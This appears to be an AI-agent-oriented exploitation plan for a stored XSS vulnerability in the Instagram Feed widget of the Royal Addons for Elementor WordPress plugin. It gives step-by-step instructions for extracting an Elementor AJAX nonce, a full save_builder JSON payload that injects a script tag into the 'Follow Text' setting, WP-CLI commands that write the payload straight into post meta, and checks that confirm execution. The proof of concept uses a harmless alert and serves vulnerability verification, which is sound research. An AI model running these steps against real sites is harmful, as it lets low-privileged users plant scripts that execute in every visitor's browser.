Exploitation Research Plan - CVE-2026-5162

1. Vulnerability Summary

The Royal Addons for Elementor plugin (up to v1.7.1056) contains a Stored Cross-Site Scripting (XSS) vulnerability in its Instagram Feed widget. The vulnerability exists because the plugin fails to sanitize or escape the instagram_follow_text setting before rendering it on the frontend. Authenticated users with Contributor-level permissions or higher can create or edit a post, add the Instagram Feed widget, and inject malicious scripts into the "Follow Text" field. When any user views the affected post, the script executes in their browser context.

2. Attack Vector Analysis

• Vulnerable Widget: wpr-instagram-feed (as registered in assets/js/frontend.js).
• Vulnerable Setting: instagram_follow_text.
• Authentication Level: Contributor+ (Users who can access the Elementor editor for posts).
• Entry Point: Elementor Editor AJAX API (elementor_ajax).
• Target Page: Any post or page where the malicious Instagram Feed widget is embedded.

3. Code Flow

1. Input: A Contributor-level user edits a post using the Elementor editor. They drag the "Instagram Feed" widget onto the page.
2. Storage: In the widget settings, the user enters a payload (e.g., <script>alert(document.domain)</script>) into the "Follow Text" field (instagram_follow_text).
3. Persistence: When the user saves the page, Elementor sends a POST request to admin-ajax.php with the action elementor_ajax. The widget configuration, including the malicious setting, is stored in the WordPress database under the _elementor_data meta key for that post.
4. Render (Sink): When the post is viewed on the frontend, the WprAddons\Widgets\Wpr_Instagram_Feed::render() method (inferred class name) retrieves the settings from post meta. The instagram_follow_text value is echoed directly into the HTML (likely within a button or link) without passing through esc_html() or wp_kses().

4. Nonce Acquisition Strategy

Elementor uses its own AJAX infrastructure for saving post data. To successfully save a widget configuration via HTTP, a valid Elementor AJAX nonce is required.

1. Pre-requisite: Create a post as a Contributor and ensure it is "Edited with Elementor".
2. Step: Navigate to the Elementor Editor for that post: /wp-admin/post.php?post=[POST_ID]&action=elementor.
3. Extraction: Use the browser_eval tool to extract the nonce and the post ID from the Elementor configuration object.
4. JavaScript Variable:
   • Nonce: window.elementorCommonConfig.ajax.nonce
   • Editor Post ID: window.elementorConfig.post_id (this confirms the ID context).

5. Exploitation Strategy

The exploit will simulate the Elementor "Save" action to inject the payload.

Step 1: Setup Content

Create a post and prepare it for Elementor.

wp post create --post_type=post --post_title="XSS Test" --post_status=publish --post_author=contributor_user_id
wp post meta add [POST_ID] _elementor_edit_mode "builder"
wp post meta add [POST_ID] _elementor_template_type "wp-post"

Step 2: Extract Nonce

Use browser_navigate to the editor URL, then browser_eval to get the nonce.

Step 3: Inject Payload via HTTP Request

Send a POST request to admin-ajax.php mimicking an Elementor save action.

• URL: https://[TARGET]/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: elementor_ajax
  • _nonce: [EXTRACTED_NONCE]
  • actions: A JSON string containing the save_builder operation.
  • editor_post_id: [POST_ID]

Payload Structure (Actions JSON):

{
  "save_builder": {
    "action": "save_builder",
    "data": {
      "status": "publish",
      "elements": [
        {
          "id": "random_id_123",
          "elType": "widget",
          "widgetType": "wpr-instagram-feed",
          "settings": {
            "instagram_follow_text": "\"><script>alert(document.domain)</script>"
          }
        }
      ]
    }
  }
}

Step 4: Trigger Execution

Navigate to the frontend URL of the post (/?p=[POST_ID]) to see the script execute.

6. Test Data Setup

1. Plugin Status: royal-elementor-addons and elementor must be active.
2. User Role: A user with the contributor role.
3. Target Post: A post ID where the contributor has edit permissions.

7. Expected Results

• The elementor_ajax request should return a 200 OK with a JSON response: {"success":true,"data":{"responses":{"save_builder":{"success":true...}}}}.
• The post meta _elementor_data for the post will contain the string \"><script>alert(document.domain)</script>.
• Viewing the post frontend will result in an alert box showing the document domain.

8. Verification Steps

1. Database Check:

   wp post meta get [POST_ID] _elementor_data
   

   Confirm the JSON contains the instagram_follow_text with the payload.
2. HTML Source Check:
   Navigate to the post and check for the unescaped payload in the rendered HTML:

   # (Simulated via browser/Playwright)
   # Search for: <script>alert(document.domain)</script>
   

9. Alternative Approaches

If the elementor_ajax save structure is too complex to replicate via a single http_request, the fallback is to use WP-CLI to directly inject the configuration into the post meta. This is effective for PoC environments where the goal is to prove the Stored XSS exists during rendering:

# Prepare the JSON structure
PAYLOAD='[{"id":"exploit","elType":"widget","widgetType":"wpr-instagram-feed","settings":{"instagram_follow_text":"\"><script>alert(document.domain)</script>"}}]'

# Update the meta directly
wp post meta update [POST_ID] _elementor_data "$PAYLOAD"

This confirms that if a Contributor saves this data (which Elementor allows), the frontend will execute it.